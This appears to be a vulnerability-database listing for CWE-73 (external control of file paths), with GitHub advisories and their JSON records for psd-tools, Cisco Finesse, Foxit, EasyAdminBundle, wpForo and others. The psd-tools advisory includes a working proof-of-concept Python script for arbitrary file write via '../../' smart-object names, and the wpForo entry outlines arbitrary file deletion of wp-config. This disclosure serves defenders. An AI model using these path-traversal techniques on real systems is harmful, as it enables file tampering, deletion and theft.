CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
917 vulnerabilities reference this CWE, most recent first.
GHSA-2QF9-QCHX-RH67
Vulnerability from github – Published: 2023-03-01 03:30 – Updated: 2023-03-09 15:30External Control of File Name or Path in GitHub repository flatpressblog/flatpress prior to 1.3.
{
"affected": [],
"aliases": [
"CVE-2023-1105"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-01T02:15:00Z",
"severity": "HIGH"
},
"details": "External Control of File Name or Path in GitHub repository flatpressblog/flatpress prior to 1.3.",
"id": "GHSA-2qf9-qchx-rh67",
"modified": "2023-03-09T15:30:50Z",
"published": "2023-03-01T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1105"
},
{
"type": "WEB",
"url": "https://github.com/flatpressblog/flatpress/commit/5d5c7f6d8f072d14926fc2c3a97cdd763802f170"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/4089a63f-cffd-42f3-b8d8-e80b6bd9c80f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2RMG-VRX8-9J2F
Vulnerability from github – Published: 2026-07-09 23:20 – Updated: 2026-07-09 23:20psd-tools: arbitrary file write/read via smart-object path traversal
Summary
In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.
A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.
Details
Write path — SmartObject.save() (primary)
src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):
def save(self, filename: str | None = None) -> None:
if filename is None:
filename = self.filename # untrusted, straight from the file
with open(filename, "wb") as f:
f.write(self.data) # attacker-controlled bytes
self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.
Read path — SmartObject.open() / .data for external kind (secondary)
For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.
Proof of concept
Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.
pip install psd-tools==1.17.0
python poc.py
poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:
import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag
MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}
def craft(name, out):
psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
uuid = next(l.smart_object.unique_id for l in psd.descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
if item.uuid.strip("\x00") == uuid:
item.filename, item.data = name, MARKER
psd.save(out)
def extract(psd_path, outdir, watch):
psd = PSDImage.open(psd_path)
before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
cwd = os.getcwd(); os.chdir(outdir)
try:
for l in psd.descendants():
if l.kind == "smartobject" and l.smart_object.kind == "data":
l.smart_object.save()
finally:
os.chdir(cwd)
after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
return sorted(after - before)
def main():
tmp = tempfile.mkdtemp(prefix="poc_")
try:
escaped = {}
for tag, name in NAMES.items():
psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
so = next(l.smart_object for l in PSDImage.open(psd).descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
print(f"[{tag}] parsed embedded name = {so.filename!r}")
outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
for w in written:
print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
ok = (not escaped["control"] and escaped["exploit"]
and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
return 0 if ok else 1
finally:
shutil.rmtree(tmp, ignore_errors=True)
raise SystemExit(main())
Output (psd-tools 1.17.0):
[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir
VERDICT: ARBITRARY FILE WRITE CONFIRMED
An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.
Impact
Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.
For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.
Severity
Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.
Patch
Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:
save(): strips directory components from the embedded name viaos.path.basename(), writes only into a caller-supplieddirectory(defaults to CWD), and verifies the resolved path stays inside that directory viaos.path.realpath()+os.path.commonpath(). A newexternal_dirparameter is propagated toopen()for external-kind objects to constrain the read source.open(): whenexternal_diris provided, afullPathresolving outside it is silently ignored (falls through torelPath); arelPathescaping the directory raisesValueError.
Weaknesses
CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).
Resources
- Fix PR: https://github.com/psd-tools/psd-tools/pull/657
- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
- Affected source (tag
v1.17.0):src/psd_tools/api/smart_object.py:170-179(sink),:62-67(untrustedfilename);src/psd_tools/psd/linked_layer.py:100(source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w —
compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The
save()write logic is unchanged since theSmartObjectAPI was introduced, so all releases exposing it are affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.0"
},
"package": {
"ecosystem": "PyPI",
"name": "psd-tools"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49836"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T23:20:47Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# psd-tools: arbitrary file write/read via smart-object path traversal\n\n## Summary\n\nIn `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory.\n\nA secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**.\n\n## Details\n\n### Write path \u2014 `SmartObject.save()` (primary)\n\n`src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`):\n\n```python\ndef save(self, filename: str | None = None) -\u003e None:\n if filename is None:\n filename = self.filename # untrusted, straight from the file\n with open(filename, \"wb\") as f:\n f.write(self.data) # attacker-controlled bytes\n```\n\n`self.filename` comes from the file with no validation \u2014 the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content.\n\n### Read path \u2014 `SmartObject.open()` / `.data` for external kind (secondary)\n\nFor `kind == \"external\"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory=\"/safe/out\")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory.\n\n## Proof of concept\n\nStandalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.\n\n```bash\npip install psd-tools==1.17.0\npython poc.py\n```\n\n`poc.py` builds two PSDs from the project\u0027s own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name \u2014 `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` \u2014 then extracts each like a consumer would:\n\n```python\nimport os, shutil, tempfile\nfrom psd_tools import PSDImage\nfrom psd_tools.constants import Tag\n\nMARKER = b\"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\\n\"\nNAMES = {\"control\": \"embedded-export.bin\", \"exploit\": \"../../PWNED-psd-tools-poc.bin\"}\n\ndef craft(name, out):\n psd = PSDImage.open(os.path.join(os.path.dirname(__file__), \"base.psd\"))\n uuid = next(l.smart_object.unique_id for l in psd.descendants()\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):\n for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:\n if item.uuid.strip(\"\\x00\") == uuid:\n item.filename, item.data = name, MARKER\n psd.save(out)\n\ndef extract(psd_path, outdir, watch):\n psd = PSDImage.open(psd_path)\n before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n cwd = os.getcwd(); os.chdir(outdir)\n try:\n for l in psd.descendants():\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\":\n l.smart_object.save()\n finally:\n os.chdir(cwd)\n after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n return sorted(after - before)\n\ndef main():\n tmp = tempfile.mkdtemp(prefix=\"poc_\")\n try:\n escaped = {}\n for tag, name in NAMES.items():\n psd = os.path.join(tmp, tag + \".psd\"); craft(name, psd)\n so = next(l.smart_object for l in PSDImage.open(psd).descendants()\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n print(f\"[{tag}] parsed embedded name = {so.filename!r}\")\n outdir = os.path.join(tmp, tag, \"app\", \"extracted\"); os.makedirs(outdir)\n written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)\n esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc\n for w in written:\n print(f\"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}\")\n ok = (not escaped[\"control\"] and escaped[\"exploit\"]\n and all(open(w, \"rb\").read() == MARKER for w in escaped[\"exploit\"]))\n print(\"\\nVERDICT:\", \"ARBITRARY FILE WRITE CONFIRMED\" if ok else \"not reproduced\")\n return 0 if ok else 1\n finally:\n shutil.rmtree(tmp, ignore_errors=True)\n\nraise SystemExit(main())\n```\n\nOutput (`psd-tools 1.17.0`):\n\n```\n[control] parsed embedded name = \u0027embedded-export.bin\u0027\n[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir\n[exploit] parsed embedded name = \u0027../../PWNED-psd-tools-poc.bin\u0027\n[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir\n\nVERDICT: ARBITRARY FILE WRITE CONFIRMED\n```\n\nAn absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way.\n\n## Impact\n\nAny application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory \u2014 no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.\n\nFor external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.\n\n## Severity\n\n**Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.\n\n## Patch\n\nFixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`:\n\n- **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source.\n- **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`.\n\n## Weaknesses\n\nCWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).\n\n## Resources\n\n- Fix PR: https://github.com/psd-tools/psd-tools/pull/657\n- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1\n- Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179`\n (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100`\n (source).\n- Distinct in class from the published advisories (GHSA-24p2-j2jr-386w \u2014\n compression resource exhaustion; GHSA-22jr-vc7j-g762 \u2014 buffer overflow). The\n `save()` write logic is unchanged since the `SmartObject` API was introduced,\n so all releases exposing it are affected.",
"id": "GHSA-2rmg-vrx8-9j2f",
"modified": "2026-07-09T23:20:47Z",
"published": "2026-07-09T23:20:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/security/advisories/GHSA-2rmg-vrx8-9j2f"
},
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/pull/657"
},
{
"type": "PACKAGE",
"url": "https://github.com/psd-tools/psd-tools"
},
{
"type": "WEB",
"url": "http://github.com/psd-tools/psd-tools/releases/tag/v1.17.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "psd-tools vulnerable to arbitrary file write via smart-object filename"
}
GHSA-2VPR-X5CR-VRGV
Vulnerability from github – Published: 2026-06-03 18:33 – Updated: 2026-06-03 18:33A vulnerability in Cisco Finesse could allow an unauthenticated, remote attacker to load arbitrary files from remote locations into an active user session on an affected device, possibly leading to browser-based attacks.
This vulnerability is due to insufficient validation of user-supplied input for HTTP requests that are sent to an affected device. An attacker who has knowledge of the address of the affected device could exploit this vulnerability by persuading a user to click a crafted link that contains the affected device address. A successful exploit could allow the attacker to conduct browser-based attacks and execute arbitrary script code in the context of the affected interface or access sensitive information on the affected device.
{
"affected": [],
"aliases": [
"CVE-2026-20175"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T18:16:19Z",
"severity": "MODERATE"
},
"details": "A vulnerability in Cisco Finesse could allow an unauthenticated, remote attacker to load arbitrary files from remote locations into an active user session on an affected device, possibly leading to browser-based attacks.\n\nThis vulnerability is due to insufficient validation of user-supplied input for HTTP requests that are sent to an affected device. An attacker who has knowledge of the address of the affected device could exploit this vulnerability by persuading a user to click a crafted link that contains the affected device address. A successful exploit could allow the attacker to conduct browser-based attacks and execute arbitrary script code in the context of the affected interface or access sensitive information on the affected device.",
"id": "GHSA-2vpr-x5cr-vrgv",
"modified": "2026-06-03T18:33:11Z",
"published": "2026-06-03T18:33:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20175"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-finesse-rfi-gwpkdc89"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2W45-JCMR-Q4FV
Vulnerability from github – Published: 2025-08-20 18:30 – Updated: 2025-08-22 18:31Foxit PDF Reader < 4.3.1.0218 exposes a JavaScript API function, createDataObject(), that allows untrusted PDF content to write arbitrary files anywhere on disk. By embedding a malicious PDF that calls this API, an attacker can drop executables or scripts into privileged folders, leading to code execution the next time the system boots or the user logs in.
{
"affected": [],
"aliases": [
"CVE-2011-10030"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T16:15:36Z",
"severity": "HIGH"
},
"details": "Foxit PDF Reader \u003c\u00a0 4.3.1.0218 exposes a JavaScript API function, createDataObject(), that allows untrusted PDF content to write arbitrary files anywhere on disk. By embedding a malicious PDF that calls this API, an attacker can drop executables or scripts into privileged folders, leading to code execution the next time the system boots or the user logs in.",
"id": "GHSA-2w45-jcmr-q4fv",
"modified": "2025-08-22T18:31:15Z",
"published": "2025-08-20T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10030"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb"
},
{
"type": "WEB",
"url": "https://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/16978"
},
{
"type": "WEB",
"url": "https://www.foxit.com/pdf-reader/version-history.html"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/foxit-pdf-reader-javascript-file-write"
},
{
"type": "WEB",
"url": "http://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2W8J-H6JX-GC5Q
Vulnerability from github – Published: 2025-04-23 06:31 – Updated: 2025-04-23 06:31Gee-netics, member of AXIS Camera Station Pro Bug Bounty Program, has identified an issue with a specific file that the server is using. A non-admin user can modify this file to either create files or change the content of files in an admin-protected location. Axis has released a patched version for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.
{
"affected": [],
"aliases": [
"CVE-2025-1056"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-23T06:15:46Z",
"severity": "MODERATE"
},
"details": "Gee-netics, member of AXIS Camera Station Pro Bug Bounty Program, has identified an issue with a specific file that the server is using. A non-admin user can modify this file to either create files or change the content of files in an admin-protected location.\nAxis has released a patched version for the highlighted flaw. Please \nrefer to the Axis security advisory for more information and solution.",
"id": "GHSA-2w8j-h6jx-gc5q",
"modified": "2025-04-23T06:31:26Z",
"published": "2025-04-23T06:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1056"
},
{
"type": "WEB",
"url": "https://www.axis.com/dam/public/e4/2e/b2/cve-2025-1056pdf-en-US-479106.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2WWR-9X6F-88GP
Vulnerability from github – Published: 2026-07-01 18:18 – Updated: 2026-07-01 18:18EasyAdminBundle ships two public Twig components — <twig:ea:Flag countryCode="..."> and <twig:ea:Icon name="..."> — that load SVG files from disk using a path built directly from a public component property, and then render the resulting markup with the Twig |raw filter.
When an application binds either of those properties to data that is influenced by an end user, the lack of validation on the property value leads to two distinct issues:
- Arbitrary
.svgfile disclosure (both components) — the property value is concatenated into a filesystem path without normalizing or constraining it, so..segments are preserved and resolved by PHP. Any file on the server whose absolute path ends in.svg(for example, user-uploaded SVG icons stored elsewhere on the host) can be read and embedded into the rendered page. - Reflected XSS in the admin UI (Flag component only) — when the requested flag file does not exist, the Flag component falls back to a hard-coded SVG string that interpolates the raw
countryCodevalue twice, and the parent template renders that string with|raw. An attacker who controlscountryCodecan therefore inject arbitrary HTML/JavaScript that will execute inside the authenticated admin context that rendered the component.
The first-party usage shipped by EasyAdminBundle itself is not affected: the bundle only passes ISO 3166 alpha-2 codes validated through Symfony\Component\Intl\Countries to the Flag component, and only hard-coded internal:.. names or values previously set in PHP via MenuItem::setIcon() to the Icon component. The vulnerability is reachable only in third-party templates that pass attacker-controlled data into these properties.
Impact
Path traversal is information disclosure bounded by the .svg extension; reflected XSS in Flag runs in the admin context and is therefore more sensitive but requires a vulnerable template wiring and user interaction.
Affected components
EasyCorp\Bundle\EasyAdminBundle\Twig\Component\Flag— public Twig tag<twig:ea:Flag>, propertycountryCode.EasyCorp\Bundle\EasyAdminBundle\Twig\Component\Icon— public Twig tag<twig:ea:Icon>, propertynamewhen the value starts with theinternal:prefix.
Credit
EasyAdmin would like to thank Claude Mythos Preview (via Project Glasswing and The PHP Foundation) for reporting the issue and providing the fix.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "easycorp/easyadmin-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.29.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "easycorp/easyadmin-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T18:18:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "EasyAdminBundle ships two public Twig components \u2014 `\u003ctwig:ea:Flag countryCode=\"...\"\u003e` and `\u003ctwig:ea:Icon name=\"...\"\u003e` \u2014 that load SVG files from disk using a path built directly from a public component property, and then render the resulting markup with the Twig `|raw` filter.\n\nWhen an application binds either of those properties to data that is influenced by an end user, the lack of validation on the property value leads to two distinct issues:\n\n- Arbitrary `.svg` file disclosure (both components) \u2014 the property value is concatenated into a filesystem path without normalizing or constraining it, so `..` segments are preserved and resolved by PHP. Any file on the server whose absolute path ends in `.svg` (for example, user-uploaded SVG icons stored elsewhere on the host) can be read and embedded into the rendered page.\n- Reflected XSS in the admin UI (Flag component only) \u2014 when the requested flag file does not exist, the Flag component falls back to a hard-coded SVG string that interpolates the raw `countryCode` value twice, and the parent template renders that string with `|raw`. An attacker who controls `countryCode` can therefore inject arbitrary HTML/JavaScript that will execute inside the authenticated admin context that rendered the component.\n\nThe first-party usage shipped by EasyAdminBundle itself is not affected: the bundle only passes ISO 3166 alpha-2 codes validated through `Symfony\\Component\\Intl\\Countries` to the `Flag` component, and only hard-coded `internal:..` names or values previously set in PHP via `MenuItem::setIcon()` to the `Icon` component. The vulnerability is reachable only in third-party templates that pass attacker-controlled data into these properties.\n\n### Impact\n\nPath traversal is information disclosure bounded by the `.svg` extension; reflected XSS in Flag runs in the admin context and is therefore more sensitive but requires a vulnerable template wiring and user interaction.\n\n### Affected components\n\n- `EasyCorp\\Bundle\\EasyAdminBundle\\Twig\\Component\\Flag` \u2014 public Twig tag `\u003ctwig:ea:Flag\u003e`, property `countryCode`.\n- `EasyCorp\\Bundle\\EasyAdminBundle\\Twig\\Component\\Icon` \u2014 public Twig tag `\u003ctwig:ea:Icon\u003e`, property `name` when the value starts with the `internal:` prefix.\n\n### Credit\n\nEasyAdmin would like to thank Claude Mythos Preview (via Project Glasswing and The PHP Foundation) for reporting the issue and providing the fix.",
"id": "GHSA-2wwr-9x6f-88gp",
"modified": "2026-07-01T18:18:46Z",
"published": "2026-07-01T18:18:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EasyCorp/EasyAdminBundle/security/advisories/GHSA-2wwr-9x6f-88gp"
},
{
"type": "PACKAGE",
"url": "https://github.com/EasyCorp/EasyAdminBundle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "EasyAdminBundle has path traversal and reflected XSS in Flag and Icon Twig components"
}
GHSA-2XW4-7MQ9-JFCM
Vulnerability from github – Published: 2024-04-10 15:30 – Updated: 2024-04-10 15:30An external control of file name or path vulnerability [CWE-73] in FortiClientMac version 7.2.3 and below, version 7.0.10 and below installer may allow a local attacker to execute arbitrary code or commands via writing a malicious configuration file in /tmp before starting the installation process.
{
"affected": [],
"aliases": [
"CVE-2024-31492"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T13:51:38Z",
"severity": "HIGH"
},
"details": "An external control of file name or path vulnerability [CWE-73] in FortiClientMac version 7.2.3 and below, version 7.0.10 and below installer may allow a local attacker to execute arbitrary code or commands via writing a malicious configuration file in /tmp before starting the installation process.",
"id": "GHSA-2xw4-7mq9-jfcm",
"modified": "2024-04-10T15:30:40Z",
"published": "2024-04-10T15:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31492"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-345"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-32MM-8HWV-MVWG
Vulnerability from github – Published: 2026-04-11 09:30 – Updated: 2026-04-11 09:30The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because 'body' is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin's custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config.
{
"affected": [],
"aliases": [
"CVE-2026-5809"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-11T08:16:05Z",
"severity": "HIGH"
},
"details": "The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because \u0027body\u0027 is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin\u0027s custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config.",
"id": "GHSA-32mm-8hwv-mvwg",
"modified": "2026-04-11T09:30:27Z",
"published": "2026-04-11T09:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5809"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Actions.php#L746"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Actions.php#L761"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L402"
},
{
"type": "WEB",
